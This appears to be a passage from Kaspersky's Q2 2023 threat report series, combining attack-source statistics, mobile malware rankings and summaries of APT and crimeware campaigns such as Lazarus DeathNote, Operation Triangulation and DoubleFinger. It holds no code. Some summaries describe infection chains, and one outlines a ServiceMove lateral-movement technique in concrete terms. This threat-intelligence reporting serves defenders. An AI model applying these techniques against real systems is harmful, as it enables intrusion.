Country/territory %* Q1 2023 Q2 2023 Mainland China 6.80 12.63 United States 12.05 11.50 South Korea 7.64 6.21 Singapore 3.63 5.32 India 4.45 5.01 Taiwan 12.13 4.85 Brazil 5.08 4.57 Germany 4.00 4.21 Russian Federation 3.36 3.73 Vietnam 3.95 3.39 Other 36.91 41.96

* Unique IP addresses located in a country/territory as a percentage of all unique IP addresses where SSH attacks on Kaspersky honeypots originated.

The share of both SSH and Telnet attacks originating on the island of Taiwan decreased noticeably. The share of Telnet attacks coming from mainland China dropped to 35.38%, but that country is still the leader. Vietnam’s share, on the contrary, rose significantly, from 0.88% to 5.39%. India (14.03%) and Brazil (6.36%) maintained second and third place, respectively.

TOP 10 countries/territories as sources of Telnet attacks

Country/territory %* Q1 2023 Q2 2023 Mainland China 39.92 35.38 India 12.06 14.03 Brazil 4.92 6.36 Vietnam 0.88 5.39 United States 4.30 4.41 Russian Federation 4.82 4.33 Taiwan 7.51 2.79 South Korea 2.59 2.51 Argentina 1.08 2.24 Pakistan 1.41 2.17 Other 19.58 20.40

* Unique IP addresses located in a country/territory as a percentage of all unique IP addresses where Telnet attacks on Kaspersky honeypots originated.

TOP 10 threats delivered to IoT devices via Telnet

Verdict %* 1 Trojan-Downloader.Linux.NyaDrop.b 53.82 2 Backdoor.Linux.Mirai.b 40.72 3 Backdoor.Linux.Mirai.ew 2.31 4 Backdoor.Linux.Mirai.ek 0.85 5 Backdoor.Linux.Mirai.es 0.47 6 Backdoor.Linux.Mirai.fg 0.32 7 Backdoor.Linux.Mirai.cw 0.22 8 Backdoor.Linux.Mirai.gen 0.17 9 Trojan-Downloader.Shell.Agent.p 0.14 10 Backdoor.Linux.Gafgyt.gi 0.13

* Share of each threat delivered to infected devices as a result of a successful Telnet attack out of the total number of delivered threats.

Attacks via web resources

The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create these sites on purpose; they can infect hacked legitimate resources as well as web resources with user-created content, such as forums.

Countries and territories that serve as sources of web-based attacks: TOP 10

The following statistics show the distribution by country or territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites hosting malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks.

To determine the geographic source of web attacks, the GeoIP technique was used to match the domain name to the real IP address at which the domain is hosted.

In Q2 2023, Kaspersky solutions blocked 801,934,281 attacks launched from online resources across the globe. A total of 209,716,810 unique links were detected by Web Anti-Virus components.

Distribution of web-attack sources by country/territory, Q2 2022 (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of online infection faced by users in various countries/territories, we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered at least once during the quarter in each country/territory. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

Note that these rankings only include attacks by malicious objects that fall under the Malware class; they do not include Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

Country or territory* %** 1 Greece 13.65 2 Turkey 13.62 3 Taiwan 13.02 4 Algeria 12.97 5 Albania 12.89 6 Serbia 12.72 7 Qatar 12.41 8 Palestine 12.05 9 Sri Lanka 11.97 10 Nepal 11.96 11 Tunisia 11.74 12 Portugal 11.71 13 Bangladesh 11.47 14 Hungary 11.44 15 Belarus 11.29 16 Bulgaria 11.03 17 Panama 10.99 18 Yemen 10.87 19 Slovakia 10.80 20 UAE 10.67

* Excluded are countries and territories with relatively few Kaspersky users (under 10,000).
** Unique users targeted by Malware-class attacks as a percentage of all unique users of Kaspersky products in the country/territory.

On average during the quarter, 8.68% of internet users’ computers worldwide were subjected to at least one Malware-class web attack.

Local threats

In this section, we analyze statistical data obtained from the OAS and ODS modules of Kaspersky products. It takes into account malicious programs that were found directly on users’ computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.).

In Q2 2023, our File Anti-Virus detected 39,624,768 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries/territories.

These rankings only include attacks by malicious programs that fall under the Malware class; they do not include File Anti-Virus triggerings in response to potentially dangerous or unwanted programs, such as RiskTool or adware.

Country or territory* %** 1 Turkmenistan 43.95 2 Afghanistan 43.39 3 Yemen 40.68 4 Tajikistan 40.20 5 Myanmar 36.25 6 Burundi 36.23 7 Syria 35.70 8 Benin 35.50 9 Burkina Faso 35.15 10 Rwanda 34.76 11 Chad 34.23 12 Cameroon 33.98 13 South Sudan 33.91 14 Democratic Republic of the Congo 33.90 15 Guinea 33.82 16 Republic of the Congo 33.55 17 Bangladesh 33.42 18 Algeria 33.36 19 Niger 33.28 20 Mali 33.14

* Excluded are countries and territories with relatively few Kaspersky users (under 10,000).
** Unique users on whose computers Malware-class local threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, Malware-class local threats were registered on 15.74% of users’ computers at least once during Q2. Russia scored 16.49% in these rankings.

• IT threat evolution in Q2 2023
• IT threat evolution in Q2 2023. Non-mobile statistics
• IT threat evolution in Q2 2023. Mobile statistics

These statistics are based on detection verdicts of Kaspersky products received from users who consented to providing statistical data.

Quarterly figures

According to Kaspersky Security Network, in Q2 2023:

• A total of 5,704,599 mobile malware, adware, and riskware attacks were blocked.
• The most common threat to mobile devices was potentially unwanted software (RiskTool): 30.8% of all threats detected.
• A total of 370,327 malicious installation packages were detected, of which:
  • 59,167 packages were related to mobile banking Trojans,
  • 1318 packages were mobile ransomware Trojans.

Quarterly highlights

The number of malware, adware, or unwanted software attacks on mobile devices began to climb again in Q2 2023. Kaspersky products blocked a total of 5,700,000 attacks during the period.

Number of attacks targeting users of Kaspersky mobile solutions, Q4 2021 — Q2 2023 (download)

In Q2, we discovered a new type of ransomware named “Rasket”, created with the help of a shortcut utility.

We also discovered what we designated as “Trojan-Banker.AndroidOS.FakeShop.b”. The malware showed a popular Asian online store but with embedded JavaScript code that stole bank card details if the user tried to pay for a purchase.

The quarter’s other unusual discoveries included a movie-streaming app with a cryptominer inside published on Google Play. We assigned it the verdict of Trojan.AndroidOS.Miner.f.

Mobile threat statistics

In Q4 2022, we observed a noticeable decline in the number of malware installers due to decreased activity by Trojan-Dropper.AndroidOS.Ingopack. Q1 2023 saw a slight increase in the number of new malware samples, which continued into Q2.

Number of detected malicious installation packages, Q2 2022 — Q2 2023 (download)

Distribution of detected mobile malware by type

Distribution of newly detected mobile malware by type, Q1 2023 and Q2 2023 (download)

Unwanted software like RiskTool (30.79%) topped the rankings during the reporting period, with a significant part of the threat consisting of obfuscated Robtes files. The most numerous adware (22.69%) families in terms of packages were still MobiDash (30.7%), Adlo (20.6%), and HiddenAd (10.8%).

Share of users who encountered a certain type of threat out of all attacked mobile users in Q1 2023 and Q2 2023 (download)

The rankings underwent no changes from the previous quarter. RiskTool packages (9.45%), despite their huge absolute numbers, were still not as widespread as adware (62.65%). Various GriftHorse Trojan subscriber and Fakemoney investment app variants were the most active Trojan malware types.

TOP 20 most frequently detected mobile malware programs

Note that the malware rankings below exclude riskware or PUAs, such as RiskTool or adware.

Verdict %* Q1 2023 %* Q2 2023 Difference in pp Change in ranking 1 DangerousObject.Multi.Generic. 13.27 16.79 +3.52 0 2 Trojan.AndroidOS.Boogr.gsh 8.39 10.05 +1.66 +1 3 Trojan.AndroidOS.GriftHorse.l 6.13 8.38 +2.26 +2 4 Trojan.AndroidOS.Generic. 5.95 6.56 +0.61 +2 5 Trojan-Spy.AndroidOS.Agent.acq 8.60 6.10 –2.51 –3 6 Trojan.AndroidOS.Fakemoney.v 7.48 5.34 –2.14 –2 7 Trojan-Spy.AndroidOS.Agent.aas 3.64 3.65 +0.01 +2 8 DangerousObject.AndroidOS.GenericML. 3.46 3.14 –0.33 +2 9 Trojan-Dropper.AndroidOS.Badpack.g 0.00 2.96 +2.96 10 Trojan-Dropper.AndroidOS.Hqwar.hd 4.54 2.33 –2.21 –3 11 Trojan-Dropper.AndroidOS.Hqwar.bk 0.51 2.17 +1.65 +26 12 Trojan.AndroidOS.Fakemoney.x 0.00 2.02 +2.02 13 Trojan.AndroidOS.Fakeapp.ez 0.72 1.73 +1.01 +13 14 Trojan-Downloader.AndroidOS.Agent.mh 3.68 1.72 –1.96 –6 15 Trojan-Dropper.AndroidOS.Hqwar.hq 0.00 1.66 +1.66 16 Trojan-Banker.AndroidOS.Bian.h 1.52 1.64 +0.12 –2 17 Trojan-Dropper.AndroidOS.Hqwar.gen 1.47 1.61 +0.14 –2 18 Trojan.AndroidOS.Fakemoney.u 1.64 1.55 –0.09 –5 19 Trojan-Downloader.AndroidOS.Triada.al 0.65 1.55 +0.90 +10 20 Trojan.AndroidOS.GriftHorse.ah 0.63 1.54 +0.92 +12

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.

The generalized cloud verdict DangerousObject.Multi.Generic (16.79%) was again in its usual first position during the reporting period. Trojan-Spy.AndroidOS.Agent.acq (6.10%), a malicious WhatsApp variant, moved down three positions, replaced by the umbrella ML verdict Trojan.AndroidOS.Boogr.gsh (10.05%). Its cloud variant, DangerousObject.AndroidOS.GenericML (3.14%), rose by two positions compared to the previous quarter. Besides, the aforementioned GriftHorse and Fakemoney were part of the 20 most commonly detected malware applications too.

Region-specific malware

This section describes mobile malware that mostly targets the residents of certain countries.

Verdict Country* %** Trojan-SMS.AndroidOS.Fakeapp.g Thailand 99.00 Trojan-Banker.AndroidOS.Agent.la Turkey 98.62 Trojan-Banker.AndroidOS.BRats.b Brazil 98.33 Trojan-Spy.AndroidOS.SmsThief.tw Indonesia 98.03 Trojan-Spy.AndroidOS.SmsEye.b Indonesia 97.22 Trojan-Banker.AndroidOS.Agent.lc Indonesia 96.99 Trojan.AndroidOS.Hiddapp.da Iran 96.46 Trojan-SMS.AndroidOS.Agent.adr Iran 95.96 HackTool.AndroidOS.Cardemu.a Brazil 95.47 Trojan-Spy.AndroidOS.SmsThief.td Indonesia 94.76 Trojan.AndroidOS.Hiddapp.bn Iran 94.75 Trojan-Dropper.AndroidOS.Hqwar.hc Turkey 94.65 Trojan-Spy.AndroidOS.SmsThief.tt Iran 94.61 Trojan.AndroidOS.Hiddapp.cg Iran 90.26 Trojan.AndroidOS.FakeGram.a Iran 88.89 Trojan-Banker.AndroidOS.Agent.cf Turkey 88.61 Trojan-Dropper.AndroidOS.Wroba.o Japan 82.96

* Country where the malware was most active.
**Unique users who encountered the malware in the indicated country as a percentage of all Kaspersky mobile security solution users attacked by the same malware

The Fakeapp.g Trojan was most frequently encountered by users from Thailand. The malware is distributed under the guise of gaming modifications, but in fact, simply sends text messages to premium numbers and charges the user’s account.

Users in Brasil encountered the Brats banking Trojan, a variety of Banbra, which we covered in our previous report. We also noticed some activity by Cardemu banking card emulators, sometimes used in payment terminal scams in Brazil.

SmsThief SMS spies, which masquerade as public services, system apps, or marketplaces, continued to spread in Indonesia. The SmsEye open-source spyware was active in that country too.

The Wroba dropper was still focused on Japan.

Turkish users were again targeted by several banking Trojans: Agent.la, Agent.cf, and the Hqwar banking Trojan dropper.

Hard-to-remove Hiddapp apps and FakeGram third-party Telegram clients operated in Iran.

A new GriftHorse variant honed in on Russia. A primitive malware app named “Soceng”, touted as “the most powerful virus ever” spread via Telegram among users in Russia. It deleted files from flash memory and sent texts to the victim’s contacts, saying the device had been “hacked”.

Mobile banking Trojans

The number of Trojan banker installation packages continued to grow in Q2 2023, exceeding 59,000.

Number of installation packages for mobile banking Trojans detected by Kaspersky, Q2 2022 — Q2 2023 (download)

Ten most common mobile bankers

Verdict %* Q1 2023 %* Q2 2023 Difference in pp Change in ranking 1 Trojan-Banker.AndroidOS.Bian.h 30.81 29.33 –1.48 0 2 Trojan-Banker.AndroidOS.Agent.eq 5.51 13.05 +7.54 +1 3 Trojan-Banker.AndroidOS.Agent.cf 1.91 11.45 +9.54 +7 4 Trojan-Banker.AndroidOS.Faketoken.pac 10.15 8.49 –1.66 –2 5 Trojan-Banker.AndroidOS.Gustuff.d 1.26 2.68 +1.43 +11 6 Trojan-Banker.AndroidOS.BRats.b 1.16 2.68 +1.51 +12 7 Trojan-Banker.AndroidOS.Svpeng.q 4.05 2.40 –1.65 –2 8 Trojan-Banker.AndroidOS.Asacub.bo 0.02 2.09 +2.07 +217 9 Trojan-Banker.AndroidOS.Agent.ep 4.40 1.77 –2.63 –5 10 Trojan-Banker.AndroidOS.Agent.lc 0.48 1.70 +1.22 +27

* Unique users who encountered this malware as a percentage of all Kaspersky mobile security solution users who encountered banking threats.

Users were more frequently exposed to Agent.ch, and the older Gustuff and Asacub Trojans in Q2 2023 than in Q1.

Mobile ransomware Trojans

Despite the new Rasket ransomware app appearing in Q2, the total number of ransomware packages continued to decline.

Number of installation packages for mobile ransomware Trojans detected by Kaspersky, Q2 2022 — Q2 2023 (download)

Top 10 most common mobile ransomware

Verdict %* Q1 2023 %* Q2 2023 Difference in pp Change in ranking 1 Trojan-Ransom.AndroidOS.Pigetrl.a 62.22 47.55 –14.67 0 2 Trojan-Ransom.AndroidOS.Rasket.a 0.00 5.60 +5.60 3 Trojan-Ransom.AndroidOS.Congur.y 1.78 4.56 +2.78 +1 4 Trojan-Ransom.AndroidOS.Small.as 3.65 3.02 –0.62 –2 5 Trojan-Ransom.AndroidOS.Rkor.dq 0.00 2.93 +2.93 6 Trojan-Ransom.AndroidOS.Congur.cw 0.55 2.73 +2.18 +27 7 Trojan-Ransom.AndroidOS.Svpeng.ac 0.64 2.38 +1.74 +21 8 Trojan-Ransom.AndroidOS.Congur.ap 0.14 2.33 +2.19 +87 9 Trojan-Ransom.AndroidOS.Rkor.dt 0.00 1.98 +1.98 10 Trojan-Ransom.AndroidOS.Rkor.dx 0.00 1.69 +1.69

* Unique users attacked by the malware as a percentage of all Kaspersky mobile security solution users attacked by ransomware trojans.

The new Rasket.a Trojan (5.60%) went straight to second position by number of attacks among other malware of the type. The rest of the family rankings remained the same, although the lists of most common modifications within the families did change.

• IT threat evolution in Q2 2023
• IT threat evolution in Q2 2023. Non-mobile statistics
• IT threat evolution in Q2 2023. Mobile statistics

Targeted attacks Gopuram backdoor deployed through 3CX supply-chain attack

Earlier this year, a Trojanized version of the 3CXDesktopApp, a popular VoIP program, was used in a high-supply-chain attack. The attackers were able to embed malicious code into the libffmpeg media processing library to download a payload from their servers.

When we reviewed our telemetry on the campaign, we found a DLL on one of the computers, named guard64.dll, which was loaded into the infected 3CXDesktopApp.exe process. A DLL with this name was used in recent deployments of a backdoor that we dubbed Gopuram, which we had been tracking since 2020. While investigating an infection of a cryptocurrency company in Southeast Asia, we found Gopuram coexisting on target computers with AppleJeus, a backdoor attributed to the Lazarus.

We had observed few victims compromised using Gopuram, but the number of infections increased in March 2023 — a spike that was directly related to the 3CX supply chain attack. The threat actor specifically targeted cryptocurrency companies. The backdoor implements commands that allow the attackers to interact with the victim’s file system and create processes on the infected machine. Gopuram was additionally observed to launch in-memory modules.

The fact that Gopuram backdoor has been deployed to less than 10 infected computers indicates that the attackers used Gopuram with surgical precision. We observed that they have a specific interest in cryptocurrency companies. We also learned that the threat actor behind Gopuram infects target machines with the full-fledged modular Gopuram backdoor. We believe that Gopuram is the main implant and the final payload in the attack chain.

The discovery of the new Gopuram infections allowed us to attribute the 3CX campaign to the Lazarus threat actor with medium to high confidence.

Tracking the Lazarus DeathNote campaign

Lazarus is a notorious and highly skilled threat actor. Over the last few years we have tracked DeathNote, one of Lazarus’s active clusters, observing a shift in the threat actor’s targets as well as the development and refinement of its TTPs (Tactics, Techniques, and Procedures).

Since 2018, Lazarus has persistently targeted crypto-currency-related businesses for a long time, using malicious Word documents and themes related to the crypto-currency business to lure potential targets. If the target opened the document and enabled the macros, a malicious script would extract the embedded downloader and load it with specific parameters. Lazarus used two different kinds of second-stage payload in these attacks: the first, a Trojanized application masquerading as the UltraVNC viewer, the second, a typical multi-stage backdoor.

Our investigations identified compromised individuals or companies in Cyprus, the US, Taiwan, and Hong Kong.

In April 2020, we uncovered a significant shift in targeting and infection vector. The DeathNote cluster was used to target the automotive and academic sectors in Eastern Europe, both of which are connected to the defense industry. At this point, the threat actor switched all the decoy documents to job descriptions related to defense contractors and diplomatic services.

Lazarus also refined its infection chain using the remote template injection technique in its weaponized documents, as well as utilizing Trojanized open-source PDF viewer software. Both infection methods resulted in the same malware (the DeathNote downloader), which uploaded the target’s information and retrieved the next-stage payload at the discretion of the C2 (Command and Control) server. Finally, a COPPERHEDGE variant was executed in memory.

In May 2021, the DeathNote cluster was used to compromise a European IT company providing solutions for monitoring network devices and servers, possibly because Lazarus had an interest in this company’s widely-used software or its supply-chain.

In early June 2021, the Lazarus group began utilizing a new infection mechanism against targets in South Korea. One thing that caught our attention was that the initial stage of the malware was executed by a legitimate security software that is widely used in the country. It’s thought that the malware was spread through a vulnerability in the software.

As in the previous case, the initial infection vector created the downloader malware. Once connected to the C2 server, the downloader retrieved an additional payload based on the operator’s commands and executed it in memory. During this time, the BLINDINGCAN malware was used as a memory-resident backdoor. While the BLINDINGCAN malware has sufficient capabilities to control the victim, the actor manually implanted additional malware: it’s thought that the group aimed to create an auxiliary method to control the victim. Finally, the COPPERHEDGE malware, previously used by this cluster, was executed on the victim.

A year later, in March 2022, we discovered that the same security program had been exploited to propagate similar downloader malware to several victims in South Korea. However, a different payload was delivered in this case. The C2 operator manually implanted a backdoor twice, and although we were unable to acquire the initially implanted backdoor, we assume it is the same as the backdoor in the following stage. The newly implanted backdoor is capable of executing a retrieved payload with named-pipe communication. In addition, the actor utilized side-loading to execute Mimikatz and used stealer malware to collect keystroke and clipboard data from users.

At around the same time, we uncovered evidence that one defense contractor in Latin America had been compromised by the same backdoor. The initial infection vector was similar to what we’ve seen with other defense industry targets, involving the use of a Trojanized PDF reader with a crafted PDF file. However, in this particular case, the actor adopted a side-loading technique to execute the final payload. When the malicious PDF file is opened with the Trojanized PDF reader, the victim is presented with the same malware mentioned above, which collects and reports the victim’s information, retrieves commands and executes them using pipe communication mechanisms. The threat actor used this malware to implant additional payloads, including legitimate files for side-loading purposes.

In July 2022, Lazarus successfully breached a defense contractor in Africa. The initial infection was a suspicious PDF application, which had been sent via the Skype messenger. After executing the PDF reader, it created both a legitimate file (CameraSettingsUIHost.exe) and a malicious file (DUI70.dll) in the same directory. This attack relied heavily on the same DLL side-loading technique that we observed in the previous case. Lazarus used this malware several times in various campaigns; and also used the same DLL side-loading technique to implant additional malware that is capable of backdoor operation. In order to move laterally across systems, the actor used an interesting technique called ServiceMove. This technique uses the Windows Perception Simulation Service to load arbitrary DLL files: by creating an arbitrary DLL in C:\Windows\System32\PerceptionSimulation\ and starting the service remotely, the threat actor was able to achieve code execution as NT AUTHORITY\SYSTEM on a remote system.

Our analysis of the DeathNote cluster reveals a rapid evolution in its TTPs over the years. As Lazarus continues to refine its approaches, it is crucial for organizations to maintain vigilance and take proactive measures to defend against its malicious activities. By staying informed and implementing strong security measures, organizations can reduce the risk of falling victim to this dangerous adversary.

Tomiris called, they want their Turla malware back

We first reported Tomiris in September 2021, following our investigation into a DNS hijack against a government organization in the CIS (Commonwealth of Independent States). We described links between a Tomiris Golang implant and SUNSHUTTLE (which has been linked to NOBELIUM/APT29/TheDukes) as well as Kazuar (which has been linked to Turla). However, interpreting these connections proved difficult. We have continued to track Tomiris as a separate threat actor over three new attack campaigns between 2021 and 2023, and our telemetry has allowed us to shed more light on this group.

This threat actor’s activities have been focused on CIS members and Afghanistan: while we identified a few targets in other locations, all of them appear to be foreign diplomatic entities of these countries.

Tomiris uses a wide variety of malware implants developed at a rapid pace and in all programming languages imaginable. The tools used by this threat actor fall into three categories: downloaders, backdoors, and file stealers. The threat actor not only develops its own tools, but also uses open source or commercially available implants and offensive tools. Tomiris employs a wide variety of attack vectors: spear-phishing, DNS hijacking, exploitation of vulnerabilities (specifically ProxyLogon), suspected drive-by downloads, and other “creative” methods.

The attribution of tools used in a cyber-attack can sometimes be a very tricky issue. In January, some fellow researchers attributed an attack on organizations in Ukraine to Turla, based, at least in part, on the use of KopiLuwak and QUIETCANARY (which we call TunnusSched) — malware known to have been used by Turla.

We discovered that a TunnusSched sample had been delivered to a government target in the CIS in September 2022; and our telemetry indicated that this malware had been deployed from Tomiris’s Telemiris malware. Moreover, starting in 2019, we discovered additional implant families linked to KopiLuwak; and that TunnusSched and KopiLuwak are part of the same toolset.

We remain convinced that, despite possible ties between the two groups, Turla and Tomiris are separate threat actors. Tomiris is undoubtedly Russian-speaking, but its targeting and tradecraft are significantly at odds with what we have observed for Turla. In addition, Tomiris’s general approach to intrusion and limited interest in stealth are significantly at odds with documented Turla tradecraft.

This throws up several possibilities.

1. Turla is happy to use a tool that was burned in 2016; and is still using it in current operations along with new tools.
2. Other threat actors may have repurposed these tools and are using them under a false flag.
3. Turla shares tools and expertise with Tomiris, or cooperates with Tomiris on joint operations.
4. Tomiris and Turla rely on a common supplier that provides offensive capabilities. Or maybe Tomiris initially started out as a private outfit writing tools for Turla and is now branching out into the mercenary business.

Our assessment is that the first two hypotheses are the least likely and that there exists a form of deliberate co-operation between Tomiris and Turla, although its exact nature is hard to determine with the information we have at hand.

CloudWizard APT: the bad magic story goes on

Last October, we identified an active infection of government, agriculture, and transportation organizations located in Donetsk, Lugansk, and Crimea. We published the results of our initial investigations into the PowerMagic and CommonMagic implants in March. At that time, we were unable to find anything to connect the samples we found and the data used in the campaign to any previously known threat actor. However, our continuing investigations revealed more information about this threat, including links to other APT campaigns.

While looking for implants bearing similarities to PowerMagic and CommonMagic, we identified a cluster of even more sophisticated malicious activities originating from the same threat actor. Interestingly, the targets were located not only in the Donetsk, Lugansk, and Crimea regions, but also in central and western Ukraine. These targets included individuals, as well as diplomatic and research organizations.

The newly discovered campaign involved use of a modular framework we dubbed CloudWizard. Its features include taking screenshots, microphone recording, keylogging, and more.

There have been many APT threat actors operating in the Russo-Ukrainian conflict region over the years, including Gamaredon, CloudAtlas, and BlackEnergy. So we looked for clues that might allow us to attribute CloudWizard to a known threat actor. CloudWizard reminded us of two campaigns observed in Ukraine and reported publicly: Operation Groundbait (first described by ESET in 2016) and Operation BugDrop (discovered by CyberX in 2017). While there have been no updates about Prikormka malware (part of Operation Groundbait) for a few years now, we discovered multiple similarities between the malware used in that campaign and CommonMagic and CloudWizard. It’s clear, therefore, that the threat actor behind these two operations has not ceased its activity and has continued developing its cyber-espionage toolset and infecting targets of interest for more than 15 years.

Meet the GoldenJackal APT group. Don’t expect any howls

GoldenJackal, an APT group that has been active since 2019, typically targets government and diplomatic entities in the Middle East and South Asia.

We started monitoring this threat actor in mid-2020 and have observed a constant level of activity that indicates a capable and stealthy actor.

The main feature of this group is a specific toolset of .NET malware: JackalControl, JackalWorm, JackalSteal, JackalPerInfo, and JackalScreenWatcher. These implants are intended to control target computers, spread using removable drives, exfiltrate data, steal credentials, collect information about the local system and the target’s web activities, and take screen captures.

While we have limited visibility into this threat actor’s infection vectors, during our investigations, we observed the use of fake Skype installers and malicious Word documents.

The fake Skype installer was a .NET executable file named skype32.exe — a dropper containing two resources: the JackalControl Trojan and a legitimate Skype for Business standalone installer. The malicious document, which masquerades as a legitimate circular distributed to collect information about officers decorated by the Pakistan government, uses the remote template injection technique to download a malicious HTML page, which exploits the Follina vulnerability.

GoldenJackal activity is characterized by the use of compromised WordPress websites as a method to host C2-related logic. We believe the attackers upload a malicious PHP file that is used as a relay to forward web requests to another backbone C2 server. We don’t have any evidence of the vulnerabilities used to compromise the sites. However, we did observe that many of the websites were using obsolete versions of WordPress and some had also been defaced or infected with previously uploaded web shells, probably as a result of low-key hacktivist or cybercriminal activity.

Operation Triangulation

Early in June, we issued an early warning of a long-standing campaign that we track under the name Operation Triangulation, involving a previously unknown iOS malware platform distributed via zero-click iMessage exploits.

The attack is carried out using an invisible iMessage with a malicious attachment. Using a number of vulnerabilities in iOS, the attachment is executed and installs spyware. The deployment of the spyware is completely hidden and requires no action from the person being targeted. The spyware then quietly transmits private information to remote servers — including microphone recordings, photos from instant messengers, geo-location, and data about a number of other activities of the owner of the infected device.

We detected this threat using the Kaspersky Unified Monitoring and Analysis Platform (KUMA) — a native SIEM solution for security information and event management. Further investigation revealed that several dozen iPhones of Kaspersky employees were infected.

In addition to reaching out to industry partners to assess the prevalence of this threat, we provided a forensic methodology to help readers determine whether their organization is targeted by the unknown group behind these attacks. We subsequently published a utility to check for Indicators of Compromise (IoCs).

Following this, we released the first of a series of additional reports describing the final payload in the infection chain: a highly sophisticated spyware implant that we dubbed “TriangleDB”. Operating in memory, this implant periodically communicates with the C2 infrastructure to receive commands. The implant allows attackers to browse and modify device files, get passwords and credentials stored in the keychain, retrieve geo-location information, as well as execute additional modules, further extending their control over the compromised devices.

Andariel’s mistakes and a new malware family

Andariel, part of the Lazarus group, is known for its use of the DTrack malware and Maui ransomware in mid-2022. During the same period, Andariel also actively exploited the Log4j vulnerability. The campaign introduced several new malware families, such as YamaBot and MagicRat, but also updated versions of NukeSped and DTrack.

While on an unrelated investigation, we stumbled upon a new campaign and decided to dig a little bit deeper. We discovered a previously undocumented malware family and an addition to Andariel’s set of TTPs.

Andariel infects machines by executing a Log4j exploit, which, in turn, downloads further malware from the C2 server. Unfortunately, we were unable to catch the first piece of malware they downloaded, but we did see that exploitation was closely followed by the download of the DTrack backdoor.

We were able to reproduce the commands the attackers executed and it quickly became clear that the commands were run by a human operator — and, judging by the number of mistakes and typos, probably an inexperienced one. We were also able to identify the set of off-the-shelf tools Andariel installed and ran during the command execution phase, and then used for further exploitation of the target. These include Supremo remote desktop, 3Proxy, Powerline, Putty, Dumpert, NTDSDumpEx, and ForkDump.

We also uncovered new malware, called EarlyRat. We had first noticed this in one of the aforementioned Log4j cases and assumed it was downloaded via Log4j. However, when we started hunting for more samples, we found phishing documents that ultimately dropped EarlyRat.

EarlyRat, like the phishing document, is very simple: it is capable of executing commands, but nothing else of interest.

Other malware Nokoyawa ransomware attacks using Windows zero-day

Our Behavioral Detection Engine and Exploit Prevention components detected attempts to execute elevation-of-privilege exploits on Windows servers belonging to SMBs in the Middle East, North America, and Asia. They were similar to exploits in the Common Log File System (CLFS) — the Windows logging subsystem — that we had analyzed previously. However, when we double-checked, one of them turned out to be a zero-day supporting different versions and builds of Windows, including Windows 11. We shared our findings with Microsoft, which designated the vulnerability as CVE-2023-28252. The vulnerability was patched on April 4.

Most zero-days that we have discovered in the past were used by APT threat actors, but this one was used by Nokoyawa, a sophisticated cybercrime group, to carry out ransomware attacks.

A spike in QBot banking Trojan infections

In early April, we detected a significant increase in attacks using the QBot malware (aka QakBot, QuackBot, and Pinkslipbot). The malware was delivered through malicious documents attached to business correspondence. The hackers would obtain access to real business correspondence (QBot, among other things, steals locally stored e-mails from previous targets’ computers) and join the dialogue, sending messages as if they’re carrying on an old conversation. The e-mails attempt to convince targets to open an attached PDF file, passing it off as an expenses list or other business matter. The PDF actually contains a fake notification from Microsoft Office 365 or Microsoft Azure. The attackers use this to try to get the target to click on the “Open” button, which then downloads a password-protected archive with the password in the text of the notification. If the recipient unpacks the archive and runs the .WSF (Windows Script File) inside, it downloads the QBot malware from a remote server.

Minas: on the way to complexity

In June 2022, we found a suspicious shellcode running in the memory of a system process. From our reconstruction of the infection chain, we determined that it originated by running an encoded PowerShell script as a task, which we believe with low confidence was created through a GPO (Group Policy Object) — something that’s especially worrying, since it indicates that the attackers had compromised the target network.

The malware, which we call Minas, is a miner. It aims to hide its presence on infected systems through encryption, the random generation of names, and the use of hijacking and injection techniques. It also has the ability to stay on the infected system using persistence techniques.

We think it’s very likely that a new variant will be released in the future that seeks to avoid anti-virus detection — which is why it’s essential to use a security solution that doesn’t primarily rely on signature detection, but also uses behavioral detection methods.

Satacom delivers browser extension that steals crypto-currency

In June, we reported a recent malware distribution campaign related to the Satacom downloader. The main purpose of the dropped malware is to steal bitcoins from the target’s account by performing web injections into targeted crypto-currency websites. The malware attempts to do this by installing an extension for Chromium-based web browsers, which later communicates with its C2 server, whose address is stored in the BTC transaction data.

The malicious extension has various JS scripts to perform browser manipulations while the user is browsing the targeted websites, including enumeration and manipulation with crypto-currency websites. It also has the ability to manipulate the appearance of some e-mail services, such as Gmail, Hotmail, and Yahoo, in order to hide its activity.

While we analyzed a Windows-specific infection-chain, the malware operates as a browser extension, so it could be installed in Chromium-based browsers on various platforms — allowing the attackers to target Linux and macOS if they choose to do so.

DoubleFinger used to steal crypto-currency

In June, we reported the use of a sophisticated attack using the DoubleFinger loader to install a crypto-stealer and remote access Trojan. The technical nature of the attack, and its multi-stage infection mechanism, resemble attacks by APT threat actors.

The process starts with an e-mail containing a malicious PIF file. If the target opens the attachment, the first stage of the attack begins. DoubleFinger executes a shellcode that downloads a file in PNG format from the image-sharing platform Imgur.com. This file actually contains multiple DoubleFinger components in encrypted form, which are used in subsequent stages of the attack. These include a loader for use in the second stage of the attack — a legitimate java.exe file; actions to try to bypass security software installed on the computer; and decryption of another PNG file deployed at the fourth stage — this PNG file contains not only the malicious code but also the image that gives the malware its name.

DoubleFinger then launches the fifth stage using a technique called Process Doppelgänging, whereby it replaces the legitimate process with a modified one that contains the malicious payload — the GreetingGhoul crypto-stealer, which installs itself in the system and is scheduled to run daily at a certain time.

GreetingGhoul contains two components: one detects crypto-wallet applications in the system and steals data of interest to the attackers (such as private keys and seed phrases); and another that overlays the interface of crypto-currency applications and intercepts user input.

These enable the attackers to take control of the target’s crypto-wallets and withdraw funds from them.

We found several DoubleFinger modifications, some of which install the remote access Trojan Remcos. Its purpose is to observe all user actions and seize full control of the system.

